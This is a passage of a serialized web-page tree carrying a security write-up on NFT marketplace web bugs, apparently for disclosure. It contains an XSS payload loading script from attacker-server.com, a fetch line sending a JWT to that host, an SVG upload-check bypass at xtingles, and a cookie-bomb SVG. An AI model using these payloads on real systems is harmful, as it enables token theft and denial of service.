4,"tag":83,"props":33406,"children":33407},{"style":32114},[33408],{"type":29,"value":32133},{"type":24,"tag":83,"props":33410,"children":33411},{"style":90},[33412],{"type":29,"value":32154},{"type":24,"tag":83,"props":33414,"children":33415},{"style":32114},[33416],{"type":29,"value":5738},{"type":24,"tag":83,"props":33418,"children":33419},{"class":85,"line":358},[33420],{"type":24,"tag":83,"props":33421,"children":33422},{"emptyLinePlaceholder":16},[33423],{"type":29,"value":3422},{"type":24,"tag":83,"props":33425,"children":33426},{"class":85,"line":367},[33427,33431],{"type":24,"tag":83,"props":33428,"children":33429},{"style":107},[33430],{"type":29,"value":32628},{"type":24,"tag":83,"props":33432,"children":33433},{"style":90},[33434],{"type":29,"value":10628},{"type":24,"tag":83,"props":33436,"children":33437},{"class":85,"line":406},[33438,33442,33446,33450,33454,33458,33462,33466,33470,33474,33478,33482],{"type":24,"tag":83,"props":33439,"children":33440},{"style":137},[33441],{"type":29,"value":32640},{"type":24,"tag":83,"props":33443,"children":33444},{"style":137},[33445],{"type":29,"value":32645},{"type":24,"tag":83,"props":33447,"children":33448},{"style":143},[33449],{"type":29,"value":32650},{"type":24,"tag":83,"props":33451,"children":33452},{"style":117},[33453],{"type":29,"value":32655},{"type":24,"tag":83,"props":33455,"children":33456},{"style":143},[33457],{"type":29,"value":223},{"type":24,"tag":83,"props":33459,"children":33460},{"style":117},[33461],{"type":29,"value":32655},{"type":24,"tag":83,"props":33463,"children":33464},{"style":101},[33465],{"type":29,"value":32668},{"type":24,"tag":83,"props":33467,"children":33468},{"style":143},[33469],{"type":29,"value":558},{"type":24,"tag":83,"props":33471,"children":33472},{"style":187},[33473],{"type":29,"value":32677},{"type":24,"tag":83,"props":33475,"children":33476},{"style":143},[33477],{"type":29,"value":32682},{"type":24,"tag":83,"props":33479,"children":33480},{"style":101},[33481],{"type":29,"value":32687},{"type":24,"tag":83,"props":33483,"children":33484},{"style":143},[33485],{"type":29,"value":7483},{"type":24,"tag":83,"props":33487,"children":33488},{"class":85,"line":427},[33489],{"type":24,"tag":83,"props":33490,"children":33491},{"emptyLinePlaceholder":16},[33492],{"type":29,"value":3422},{"type":24,"tag":83,"props":33494,"children":33495},{"class":85,"line":440},[33496,33500,33504,33508,33512,33516,33520,33524,33528,33532,33536,33540,33544],{"type":24,"tag":83,"props":33497,"children":33498},{"style":137},[33499],{"type":29,"value":2809},{"type":24,"tag":83,"props":33501,"children":33502},{"style":137},[33503],{"type":29,"value":32710},{"type":24,"tag":83,"props":33505,"children":33506},{"style":143},[33507],{"type":29,"value":32650},{"type":24,"tag":83,"props":33509,"children":33510},{"style":90},[33511],{"type":29,"value":14864},{"type":24,"tag":83,"props":33513,"children":33514},{"style":101},[33515],{"type":29,"value":32723},{"type":24,"tag":83,"props":33517,"children":33518},{"style":143},[33519],{"type":29,"value":32728},{"type":24,"tag":83,"props":33521,"children":33522},{"style":137},[33523],{"type":29,"value":32687},{"type":24,"tag":83,"props":33525,"children":33526},{"style":143},[33527],{"type":29,"value":1232},{"type":24,"tag":83,"props":33529,"children":33530},{"style":187},[33531],{"type":29,"value":32741},{"type":24,"tag":83,"props":33533,"children":33534},{"style":143},[33535],{"type":29,"value":32746},{"type":24,"tag":83,"props":33537,"children":33538},{"style":137},[33539],{"type":29,"value":32751},{"type":24,"tag":83,"props":33541,"children":33542},{"style":187},[33543],{"type":29,"value":32756},{"type":24,"tag":83,"props":33545,"children":33546},{"style":143},[33547],{"type":29,"value":32761},{"type":24,"tag":83,"props":33549,"children":33550},{"class":85,"line":449},[33551,33555,33559,33563,33567,33571],{"type":24,"tag":83,"props":33552,"children":33553},{"style":137},[33554],{"type":29,"value":32640},{"type":24,"tag":83,"props":33556,"children":33557},{"style":137},[33558],{"type":29,"value":32773},{"type":24,"tag":83,"props":33560,"children":33561},{"style":143},[33562],{"type":29,"value":32650},{"type":24,"tag":83,"props":33564,"children":33565},{"style":90},[33566],{"type":29,"value":14864},{"type":24,"tag":83,"props":33568,"children":33569},{"style":101},[33570],{"type":29,"value":32786},{"type":24,"tag":83,"props":33572,"children":33573},{"style":143},[33574],{"type":29,"value":267},{"type":24,"tag":83,"props":33576,"children":33577},{"class":85,"line":458},[33578,33582,33586,33590,33594,33598,33602,33606],{"type":24,"tag":83,"props":33579,"children":33580},{"style":137},[33581],{"type":29,"value":32798},{"type":24,"tag":83,"props":33583,"children":33584},{"style":143},[33585],{"type":29,"value":161},{"type":24,"tag":83,"props":33587,"children":33588},{"style":137},[33589],{"type":29,"value":32807},{"type":24,"tag":83,"props":33591,"children":33592},{"style":143},[33593],{"type":29,"value":161},{"type":24,"tag":83,"props":33595,"children":33596},{"style":101},[33597],{"type":29,"value":9384},{"type":24,"tag":83,"props":33599,"children":33600},{"style":143},[33601],{"type":29,"value":558},{"type":24,"tag":83,"props":33603,"children":33604},{"style":137},[33605],{"type":29,"value":32824},{"type":24,"tag":83,"props":33607,"children":33608},{"style":143},[33609],{"type":29,"value":581},{"type":24,"tag":83,"props":33611,"children":33612},{"class":85,"line":1065},[33613],{"type":24,"tag":83,"props":33614,"children":33615},{"emptyLinePlaceholder":16},[33616],{"type":29,"value":3422},{"type":24,"tag":83,"props":33618,"children":33619},{"class":85,"line":1668},[33620,33624,33628,33632,33636,33640,33644,33648],{"type":24,"tag":83,"props":33621,"children":33622},{"style":137},[33623],{"type":29,"value":32843},{"type":24,"tag":83,"props":33625,"children":33626},{"style":143},[33627],{"type":29,"value":161},{"type":24,"tag":83,"props":33629,"children":33630},{"style":137},[33631],{"type":29,"value":32852},{"type":24,"tag":83,"props":33633,"children":33634},{"style":143},[33635],{"type":29,"value":32650},{"type":24,"tag":83,"props":33637,"children":33638},{"style":137},[33639],{"type":29,"value":32861},{"type":24,"tag":83,"props":33641,"children":33642},{"style":143},[33643],{"type":29,"value":161},{"type":24,"tag":83,"props":33645,"children":33646},{"style":137},[33647],{"type":29,"value":32852},{"type":24,"tag":83,"props":33649,"children":33650},{"style":143},[33651],{"type":29,"value":321},{"type":24,"tag":83,"props":33653,"children":33654},{"class":85,"line":1713},[33655],{"type":24,"tag":83,"props":33656,"children":33657},{"emptyLinePlaceholder":16},[33658],{"type":29,"value":3422},{"type":24,"tag":83,"props":33660,"children":33661},{"class":85,"line":1730},[33662,33667,33671,33676],{"type":24,"tag":83,"props":33663,"children":33664},{"style":137},[33665],{"type":29,"value":33666},"        form123",{"type":24,"tag":83,"props":33668,"children":33669},{"style":143},[33670],{"type":29,"value":161},{"type":24,"tag":83,"props":33672,"children":33673},{"style":101},[33674],{"type":29,"value":33675},"submit",{"type":24,"tag":83,"props":33677,"children":33678},{"style":143},[33679],{"type":29,"value":7483},{"type":24,"tag":83,"props":33681,"children":33682},{"class":85,"line":1770},[33683,33687],{"type":24,"tag":83,"props":33684,"children":33685},{"style":90},[33686],{"type":29,"value":32881},{"type":24,"tag":83,"props":33688,"children":33689},{"style":107},[33690],{"type":29,"value":32886},{"type":24,"tag":83,"props":33692,"children":33693},{"class":85,"line":1778},[33694],{"type":24,"tag":83,"props":33695,"children":33696},{"emptyLinePlaceholder":16},[33697],{"type":29,"value":3422},{"type":24,"tag":83,"props":33699,"children":33700},{"class":85,"line":1803},[33701,33705,33709],{"type":24,"tag":83,"props":33702,"children":33703},{"style":32114},[33704],{"type":29,"value":32583},{"type":24,"tag":83,"props":33706,"children":33707},{"style":90},[33708],{"type":29,"value":32154},{"type":24,"tag":83,"props":33710,"children":33711},{"style":32114},[33712],{"type":29,"value":5738},{"type":24,"tag":83,"props":33714,"children":33715},{"class":85,"line":1811},[33716,33720,33724],{"type":24,"tag":83,"props":33717,"children":33718},{"style":32114},[33719],{"type":29,"value":32168},{"type":24,"tag":83,"props":33721,"children":33722},{"style":90},[33723],{"type":29,"value":32121},{"type":24,"tag":83,"props":33725,"children":33726},{"style":32114},[33727],{"type":29,"value":5738},{"type":24,"tag":25,"props":33729,"children":33730},{},[33731],{"type":29,"value":33732},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":24,"tag":73,"props":33734,"children":33736},{"className":1903,"code":33735,"language":743,"meta":7,"style":7},"{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n",[33737],{"type":24,"tag":32,"props":33738,"children":33739},{"__ignoreMap":7},[33740,33747,33768,33789,33806],{"type":24,"tag":83,"props":33741,"children":33742},{"class":85,"line":86},[33743],{"type":24,"tag":83,"props":33744,"children":33745},{"style":107},[33746],{"type":29,"value":10628},{"type":24,"tag":83,"props":33748,"children":33749},{"class":85,"line":113},[33750,33755,33759,33764],{"type":24,"tag":83,"props":33751,"children":33752},{"style":137},[33753],{"type":29,"value":33754},"  \"address\"",{"type":24,"tag":83,"props":33756,"children":33757},{"style":107},[33758],{"type":29,"value":1920},{"type":24,"tag":83,"props":33760,"children":33761},{"style":187},[33762],{"type":29,"value":33763},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":24,"tag":83,"props":33765,"children":33766},{"style":107},[33767],{"type":29,"value":989},{"type":24,"tag":83,"props":33769,"children":33770},{"class":85,"line":128},[33771,33776,33780,33785],{"type":24,"tag":83,"props":33772,"children":33773},{"style":137},[33774],{"type":29,"value":33775},"  \"to\"",{"type":24,"tag":83,"props":33777,"children":33778},{"style":107},[33779],{"type":29,"value":1920},{"type":24,"tag":83,"props":33781,"children":33782},{"style":187},[33783],{"type":29,"value":33784},"\"profile-assets\"",{"type":24,"tag":83,"props":33786,"children":33787},{"style":107},[33788],{"type":29,"value":989},{"type":24,"tag":83,"props":33790,"children":33791},{"class":85,"line":183},[33792,33797,33801],{"type":24,"tag":83,"props":33793,"children":33794},{"style":137},[33795],{"type":29,"value":33796},"  \"type\"",{"type":24,"tag":83,"props":33798,"children":33799},{"style":107},[33800],{"type":29,"value":1920},{"type":24,"tag":83,"props":33802,"children":33803},{"style":187},[33804],{"type":29,"value":33805},"\"icon\"\n",{"type":24,"tag":83,"props":33807,"children":33808},{"class":85,"line":203},[33809],{"type":24,"tag":83,"props":33810,"children":33811},{"style":107},[33812],{"type":29,"value":464},{"type":24,"tag":25,"props":33814,"children":33815},{},[33816],{"type":29,"value":33817},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":24,"tag":73,"props":33819,"children":33821},{"className":77,"code":33820,"language":76,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[33822],{"type":24,"tag":32,"props":33823,"children":33824},{"__ignoreMap":7},[33825],{"type":24,"tag":83,"props":33826,"children":33827},{"class":85,"line":86},[33828,33832,33836,33841,33846,33851,33855,33860,33864,33869,33873,33878,33882],{"type":24,"tag":83,"props":33829,"children":33830},{"style":101},[33831],{"type":29,"value":487},{"type":24,"tag":83,"props":33833,"children":33834},{"style":107},[33835],{"type":29,"value":558},{"type":24,"tag":83,"props":33837,"children":33838},{"style":187},[33839],{"type":29,"value":33840},"`https://attacker-server.com/?token_leak=",{"type":24,"tag":83,"props":33842,"children":33843},{"style":90},[33844],{"type":29,"value":33845},"${",{"type":24,"tag":83,"props":33847,"children":33848},{"style":137},[33849],{"type":29,"value":33850},"localStorage",{"type":24,"tag":83,"props":33852,"children":33853},{"style":143},[33854],{"type":29,"value":161},{"type":24,"tag":83,"props":33856,"children":33857},{"style":101},[33858],{"type":29,"value":33859},"getItem",{"type":24,"tag":83,"props":33861,"children":33862},{"style":143},[33863],{"type":29,"value":558},{"type":24,"tag":83,"props":33865,"children":33866},{"style":187},[33867],{"type":29,"value":33868},"'token'",{"type":24,"tag":83,"props":33870,"children":33871},{"style":143},[33872],{"type":29,"value":2872},{"type":24,"tag":83,"props":33874,"children":33875},{"style":90},[33876],{"type":29,"value":33877},"}",{"type":24,"tag":83,"props":33879,"children":33880},{"style":187},[33881],{"type":29,"value":10129},{"type":24,"tag":83,"props":33883,"children":33884},{"style":107},[33885],{"type":29,"value":581},{"type":24,"tag":1818,"props":33887,"children":33889},{"id":33888},"svgs",[33890],{"type":29,"value":33891},"SVGs",{"type":24,"tag":25,"props":33893,"children":33894},{},[33895],{"type":29,"value":33896},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":24,"tag":25,"props":33898,"children":33899},{},[33900],{"type":29,"value":33901},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":24,"tag":73,"props":33903,"children":33905},{"className":77,"code":33904,"language":76,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[33906],{"type":24,"tag":32,"props":33907,"children":33908},{"__ignoreMap":7},[33909,33955,33992,33999,34029,34061,34089,34097,34113],{"type":24,"tag":83,"props":33910,"children":33911},{"class":85,"line":86},[33912,33917,33922,33927,33931,33936,33941,33945,33950],{"type":24,"tag":83,"props":33913,"children":33914},{"style":143},[33915],{"type":29,"value":33916},"\u003C?",{"type":24,"tag":83,"props":33918,"children":33919},{"style":137},[33920],{"type":29,"value":33921},"xml",{"type":24,"tag":83,"props":33923,"children":33924},{"style":137},[33925],{"type":29,"value":33926}," version",{"type":24,"tag":83,"props":33928,"children":33929},{"style":143},[33930],{"type":29,"value":1275},{"type":24,"tag":83,"props":33932,"children":33933},{"style":187},[33934],{"type":29,"value":33935},"\"1.0\"",{"type":24,"tag":83,"props":33937,"children":33938},{"style":137},[33939],{"type":29,"value":33940}," encoding",{"type":24,"tag":83,"props":33942,"children":33943},{"style":143},[33944],{"type":29,"value":1275},{"type":24,"tag":83,"props":33946,"children":33947},{"style":187},[33948],{"type":29,"value":33949},"\"UTF-8\"",{"type":24,"tag":83,"props":33951,"children":33952},{"style":143},[33953],{"type":29,"value":33954},"?>\n",{"type":24,"tag":83,"props":33956,"children":33957},{"class":85,"line":113},[33958,33963,33968,33973,33978,33983,33988],{"type":24,"tag":83,"props":33959,"children":33960},{"style":143},[33961],{"type":29,"value":33962},"\u003C!",{"type":24,"tag":83,"props":33964,"children":33965},{"style":137},[33966],{"type":29,"value":33967},"DOCTYPE",{"type":24,"tag":83,"props":33969,"children":33970},{"style":137},[33971],{"type":29,"value":33972}," svg",{"type":24,"tag":83,"props":33974,"children":33975},{"style":137},[33976],{"type":29,"value":33977}," PUBLIC",{"type":24,"tag":83,"props":33979,"children":33980},{"style":187},[33981],{"type":29,"value":33982}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":24,"tag":83,"props":33984,"children":33985},{"style":187},[33986],{"type":29,"value":33987}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":24,"tag":83,"props":33989,"children":33990},{"style":143},[33991],{"type":29,"value":5738},{"type":24,"tag":83,"props":33993,"children":33994},{"class":85,"line":128},[33995],{"type":24,"tag":83,"props":33996,"children":33997},{"emptyLinePlaceholder":16},[33998],{"type":29,"value":3422},{"type":24,"tag":83,"props":34000,"children":34001},{"class":85,"line":183},[34002,34006,34011,34016,34020,34025],{"type":24,"tag":83,"props":34003,"children":34004},{"style":32114},[34005],{"type":29,"value":8463},{"type":24,"tag":83,"props":34007,"children":34008},{"style":90},[34009],{"type":29,"value":34010},"svg",{"type":24,"tag":83,"props":34012,"children":34013},{"style":137},[34014],{"type":29,"value":34015}," xmlns",{"type":24,"tag":83,"props":34017,"children":34018},{"style":143},[34019],{"type":29,"value":1275},{"type":24,"tag":83,"props":34021,"children":34022},{"style":187},[34023],{"type":29,"value":34024},"\"http://www.w3.org/2000/svg\"",{"type":24,"tag":83,"props":34026,"children":34027},{"style":32114},[34028],{"type":29,"value":5738},{"type":24,"tag":83,"props":34030,"children":34031},{"class":85,"line":203},[34032,34036,34041,34045,34049,34053,34057],{"type":24,"tag":83,"props":34033,"children":34034},{"style":32114},[34035],{"type":29,"value":32133},{"type":24,"tag":83,"props":34037,"children":34038},{"style":90},[34039],{"type":29,"value":34040},"title",{"type":24,"tag":83,"props":34042,"children":34043},{"style":32114},[34044],{"type":29,"value":10209},{"type":24,"tag":83,"props":34046,"children":34047},{"style":107},[34048],{"type":29,"value":30988},{"type":24,"tag":83,"props":34050,"children":34051},{"style":32114},[34052],{"type":29,"value":32168},{"type":24,"tag":83,"props":34054,"children":34055},{"style":90},[34056],{"type":29,"value":34040},{"type":24,"tag":83,"props":34058,"children":34059},{"style":32114},[34060],{"type":29,"value":5738},{"type":24,"tag":83,"props":34062,"children":34063},{"class":85,"line":212},[34064,34068,34072,34076,34080,34085],{"type":24,"tag":83,"props":34065,"children":34066},{"style":32114},[34067],{"type":29,"value":32133},{"type":24,"tag":83,"props":34069,"children":34070},{"style":90},[34071],{"type":29,"value":32154},{"type":24,"tag":83,"props":34073,"children":34074},{"style":137},[34075],{"type":29,"value":32279},{"type":24,"tag":83,"props":34077,"children":34078},{"style":143},[34079],{"type":29,"value":1275},{"type":24,"tag":83,"props":34081,"children":34082},{"style":187},[34083],{"type":29,"value":34084},"\"text/javascript\"",{"type":24,"tag":83,"props":34086,"children":34087},{"style":32114},[34088],{"type":29,"value":5738},{"type":24,"tag":83,"props":34090,"children":34091},{"class":85,"line":256},[34092],{"type":24,"tag":83,"props":34093,"children":34094},{"style":107},[34095],{"type":29,"value":34096},"   alert(document.domain);\n",{"type":24,"tag":83,"props":34098,"children":34099},{"class":85,"line":270},[34100,34105,34109],{"type":24,"tag":83,"props":34101,"children":34102},{"style":32114},[34103],{"type":29,"value":34104},"   \u003C/",{"type":24,"tag":83,"props":34106,"children":34107},{"style":90},[34108],{"type":29,"value":32154},{"type":24,"tag":83,"props":34110,"children":34111},{"style":32114},[34112],{"type":29,"value":5738},{"type":24,"tag":83,"props":34114,"children":34115},{"class":85,"line":302},[34116,34121,34125],{"type":24,"tag":83,"props":34117,"children":34118},{"style":32114},[34119],{"type":29,"value":34120}," \u003C/",{"type":24,"tag":83,"props":34122,"children":34123},{"style":90},[34124],{"type":29,"value":34010},{"type":24,"tag":83,"props":34126,"children":34127},{"style":32114},[34128],{"type":29,"value":5738},{"type":24,"tag":25,"props":34130,"children":34131},{},[34132,34134,34141],{"type":29,"value":34133},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":24,"tag":2033,"props":34135,"children":34138},{"href":34136,"rel":34137},"https://xtingles.com/",[2037],[34139],{"type":29,"value":34140},"xtingles Marketplace",{"type":29,"value":161},{"type":24,"tag":25,"props":34143,"children":34144},{},[34145],{"type":29,"value":34146},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":24,"tag":25,"props":34148,"children":34149},{},[34150],{"type":29,"value":34151},"Below, we show you how we did it.",{"type":24,"tag":25,"props":34153,"children":34154},{},[34155],{"type":29,"value":34156},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":24,"tag":25,"props":34158,"children":34159},{},[34160],{"type":24,"tag":2510,"props":34161,"children":34163},{"alt":7,"src":34162},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":24,"tag":25,"props":34165,"children":34166},{},[34167],{"type":29,"value":34168},"After changing the extension inside the file name.",{"type":24,"tag":25,"props":34170,"children":34171},{},[34172],{"type":24,"tag":2510,"props":34173,"children":34175},{"alt":7,"src":34174},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":24,"tag":1818,"props":34177,"children":34179},{"id":34178},"svgs-return",[34180],{"type":29,"value":34181},"SVGs Return",{"type":24,"tag":25,"props":34183,"children":34184},{},[34185],{"type":29,"value":34186},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":24,"tag":25,"props":34188,"children":34189},{},[34190],{"type":29,"value":34191},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":24,"tag":25,"props":34193,"children":34194},{},[34195],{"type":29,"value":34196},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":24,"tag":73,"props":34198,"children":34202},{"className":34199,"code":34200,"language":34201,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[34203],{"type":24,"tag":32,"props":34204,"children":34205},{"__ignoreMap":7},[34206,34245,34276,34283,34310,34341,34368,34376,34384,34391,34403,34478,34486,34501],{"type":24,"tag":83,"props":34207,"children":34208},{"class":85,"line":86},[34209,34213,34217,34221,34225,34229,34233,34237,34241],{"type":24,"tag":83,"props":34210,"children":34211},{"style":143},[34212],{"type":29,"value":33916},{"type":24,"tag":83,"props":34214,"children":34215},{"style":137},[34216],{"type":29,"value":33921},{"type":24,"tag":83,"props":34218,"children":34219},{"style":137},[34220],{"type":29,"value":33926},{"type":24,"tag":83,"props":34222,"children":34223},{"style":143},[34224],{"type":29,"value":1275},{"type":24,"tag":83,"props":34226,"children":34227},{"style":187},[34228],{"type":29,"value":33935},{"type":24,"tag":83,"props":34230,"children":34231},{"style":137},[34232],{"type":29,"value":33940},{"type":24,"tag":83,"props":34234,"children":34235},{"style":143},[34236],{"type":29,"value":1275},{"type":24,"tag":83,"props":34238,"children":34239},{"style":187},[34240],{"type":29,"value":33949},{"type":24,"tag":83,"props":34242,"children":34243},{"style":143},[34244],{"type":29,"value":33954},{"type":24,"tag":83,"props":34246,"children":34247},{"class":85,"line":113},[34248,34252,34256,34260,34264,34268,34272],{"type":24,"tag":83,"props":34249,"children":34250},{"style":143},[34251],{"type":29,"value":33962},{"type":24,"tag":83,"props":34253,"children":34254},{"style":137},[34255],{"type":29,"value":33967},{"type":24,"tag":83,"props":34257,"children":34258},{"style":137},[34259],{"type":29,"value":33972},{"type":24,"tag":83,"props":34261,"children":34262},{"style":137},[34263],{"type":29,"value":33977},{"type":24,"tag":83,"props":34265,"children":34266},{"style":187},[34267],{"type":29,"value":33982},{"type":24,"tag":83,"props":34269,"children":34270},{"style":187},[34271],{"type":29,"value":33987},{"type":24,"tag":83,"props":34273,"children":34274},{"style":143},[34275],{"type":29,"value":5738},{"type":24,"tag":83,"props":34277,"children":34278},{"class":85,"line":128},[34279],{"type":24,"tag":83,"props":34280,"children":34281},{"emptyLinePlaceholder":16},[34282],{"type":29,"value":3422},{"type":24,"tag":83,"props":34284,"children":34285},{"class":85,"line":183},[34286,34290,34294,34298,34302,34306],{"type":24,"tag":83,"props":34287,"children":34288},{"style":32114},[34289],{"type":29,"value":8463},{"type":24,"tag":83,"props":34291,"children":34292},{"style":90},[34293],{"type":29,"value":34010},{"type":24,"tag":83,"props":34295,"children":34296},{"style":137},[34297],{"type":29,"value":34015},{"type":24,"tag":83,"props":34299,"children":34300},{"style":143},[34301],{"type":29,"value":1275},{"type":24,"tag":83,"props":34303,"children":34304},{"style":187},[34305],{"type":29,"value":34024},{"type":24,"tag":83,"props":34307,"children":34308},{"style":32114},[34309],{"type":29,"value":5738},{"type":24,"tag":83,"props":34311,"children":34312},{"class":85,"line":203},[34313,34317,34321,34325,34329,34333,34337],{"type":24,"tag":83,"props":34314,"children":34315},{"style":32114},[34316],{"type":29,"value":32133},{"type":24,"tag":83,"props":34318,"children":34319},{"style":90},[34320],{"type":29,"value":34040},{"type":24,"tag":83,"props":34322,"children":34323},{"style":32114},[34324],{"type":29,"value":10209},{"type":24,"tag":83,"props":34326,"children":34327},{"style":107},[34328],{"type":29,"value":30988},{"type":24,"tag":83,"props":34330,"children":34331},{"style":32114},[34332],{"type":29,"value":32168},{"type":24,"tag":83,"props":34334,"children":34335},{"style":90},[34336],{"type":29,"value":34040},{"type":24,"tag":83,"props":34338,"children":34339},{"style":32114},[34340],{"type":29,"value":5738},{"type":24,"tag":83,"props":34342,"children":34343},{"class":85,"line":212},[34344,34348,34352,34356,34360,34364],{"type":24,"tag":83,"props":34345,"children":34346},{"style":32114},[34347],{"type":29,"value":32133},{"type":24,"tag":83,"props":34349,"children":34350},{"style":90},[34351],{"type":29,"value":32154},{"type":24,"tag":83,"props":34353,"children":34354},{"style":137},[34355],{"type":29,"value":32279},{"type":24,"tag":83,"props":34357,"children":34358},{"style":143},[34359],{"type":29,"value":1275},{"type":24,"tag":83,"props":34361,"children":34362},{"style":187},[34363],{"type":29,"value":34084},{"type":24,"tag":83,"props":34365,"children":34366},{"style":32114},[34367],{"type":29,"value":5738},{"type":24,"tag":83,"props":34369,"children":34370},{"class":85,"line":256},[34371],{"type":24,"tag":83,"props":34372,"children":34373},{"style":107},[34374],{"type":29,"value":34375},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":24,"tag":83,"props":34377,"children":34378},{"class":85,"line":270},[34379],{"type":24,"tag":83,"props":34380,"children":34381},{"style":107},[34382],{"type":29,"value":34383},"   var Set_Cookie = Array(10000).join('a');\n",{"type":24,"tag":83,"props":34385,"children":34386},{"class":85,"line":302},[34387],{"type":24,"tag":83,"props":34388,"children":34389},{"emptyLinePlaceholder":16},[34390],{"type":29,"value":3422},{"type":24,"tag":83,"props":34392,"children":34393},{"class":85,"line":324},[34394,34399],{"type":24,"tag":83,"props":34395,"children":34396},{"style":107},[34397],{"type":29,"value":34398},"   for (var i = 1; i \u003C 99; i++) ",{"type":24,"tag":83,"props":34400,"children":34401},{"style":90},[34402],{"type":29,"value":10628},{"type":24,"tag":83,"props":34404,"children":34405},{"class":85,"line":345},[34406,34411,34415,34420,34424,34429,34434,34438,34442,34447,34451,34456,34460,34465,34469,34474],{"type":24,"tag":83,"props":34407,"children":34408},{"style":137},[34409],{"type":29,"value":34410},"    document",{"type":24,"tag":83,"props":34412,"children":34413},{"style":143},[34414],{"type":29,"value":161},{"type":24,"tag":83,"props":34416,"children":34417},{"style":137},[34418],{"type":29,"value":34419},"cookie",{"type":24,"tag":83,"props":34421,"children":34422},{"style":143},[34423],{"type":29,"value":32650},{"type":24,"tag":83,"props":34425,"children":34426},{"style":187},[34427],{"type":29,"value":34428},"'Cookie'",{"type":24,"tag":83,"props":34430,"children":34431},{"style":143},[34432],{"type":29,"value":34433}," + ",{"type":24,"tag":83,"props":34435,"children":34436},{"style":137},[34437],{"type":29,"value":3482},{"type":24,"tag":83,"props":34439,"children":34440},{"style":143},[34441],{"type":29,"value":34433},{"type":24,"tag":83,"props":34443,"children":34444},{"style":187},[34445],{"type":29,"value":34446},"'='",{"type":24,"tag":83,"props":34448,"children":34449},{"style":143},[34450],{"type":29,"value":34433},{"type":24,"tag":83,"props":34452,"children":34453},{"style":137},[34454],{"type":29,"value":34455},"Set_Cookie",{"type":24,"tag":83,"props":34457,"children":34458},{"style":143},[34459],{"type":29,"value":34433},{"type":24,"tag":83,"props":34461,"children":34462},{"style":187},[34463],{"type":29,"value":34464},"';Domain='",{"type":24,"tag":83,"props":34466,"children":34467},{"style":143},[34468],{"type":29,"value":34433},{"type":24,"tag":83,"props":34470,"children":34471},{"style":137},[34472],{"type":29,"value":34473},"Take_Domain",{"type":24,"tag":83,"props":34475,"children":34476},{"style":143},[34477],{"type":29,"value":321},{"type":24,"tag":83,"props":34479,"children":34480},{"class":85,"line":358},[34481],{"type":24,"tag":83,"props":34482,"children":34483},{"style":90},[34484],{"type":29,"value":34485},"   }\n",{"type":24,"tag":83,"props":34487,"children":34488},{"class":85,"line":367},[34489,34493,34497],{"type":24,"tag":83,"props":34490,"children":34491},{"style":32114},[34492],{"type":29,"value":34104},{"type":24,"tag":83,"props":34494,"children":34495},{"style":90},[34496],{"type":29,"value":32154},{"type":24,"tag":83,"props":34498,"children":34499},{"style":32114},[34500],{"type":29,"value":5738},{"type":24,"tag":83,"props":34502,"children":34503},{"class":85,"line":406},[34504,34508,34512],{"type":24,"tag":83,"props":34505,"children":34506},{"style":32114},[34507],{"type":29,"value":34120},{"type":24,"tag":83,"props":34509,"children":34510},{"style":90},[34511],{"type":29,"value":34010},{"type":24,"tag":83,"props":34513,"children":34514},{"style":32114},[34515],{"type":29,"value":5738},{"type":24,"tag":25,"props":34517,"children":34518},{},[34519],{"type":29,"value":34520},"As a result, we're able to prevent the user from loading images.",{"type":24,"tag":51,"props":34522,"children":34524},{"id":34523},"authentication",[34525],{"type":29,"value":34526},"Authentication",{"type":24,"tag":25,"props":34528,"children":34529},{},[34530],{"type":24,"tag":2655,"props":34531,"children":34532},{},[34533,34535,34542],{"type":29,"value":34534},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":24,"tag":2033,"props":34536,"children":34539},{"href":34537,"rel":34538},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[2037],[34540],{"type":29,"value":34541},"great misfortune has 